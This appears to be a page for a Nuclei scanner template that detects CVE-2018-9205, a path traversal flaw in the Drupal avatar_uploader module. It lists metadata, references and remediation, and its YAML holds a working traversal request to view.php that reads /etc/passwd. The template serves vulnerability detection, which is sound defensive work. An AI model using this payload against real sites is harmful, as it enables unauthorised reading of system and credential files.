Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion

ID: CVE-2018-9205

Severity: high

Author: daffainfo

Tags: cve,cve2018,lfi,drupal,edb

Description

In avatar_uploader v7.x-1.0-beta8 the view.php program doesn’t restrict file paths, allowing unauthenticated users to retrieve arbitrary files.

YAML Source

id: CVE-2018-9205

info:
  name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
  author: daffainfo
  severity: high
  description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
  remediation: Upgrade to the latest version of avatar_uploader.
  reference:
    - https://www.exploit-db.com/exploits/44501
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9205
    - https://www.drupal.org/project/avatar_uploader/issues/2957966
    - https://www.drupal.org/project/avatar_uploader
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-9205
    cwe-id: CWE-22
    epss-score: 0.02175
    epss-percentile: 0.89345
    cpe: cpe:2.3:a:drupal:avatar_uploader:7.x-1.0:beta8:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: avatar_uploader
    shodan-query: http.component:"drupal"
  tags: cve,cve2018,lfi,drupal,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402200d1d14769c152ab4c797357af70e2680a8db3a7994a1ec7b2e7bb836888f1ef702205ef6a003832319814010726a1ceb7ca15bc8727ae0be46a12d0060e41b92cad4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-9205.yaml"

View on Github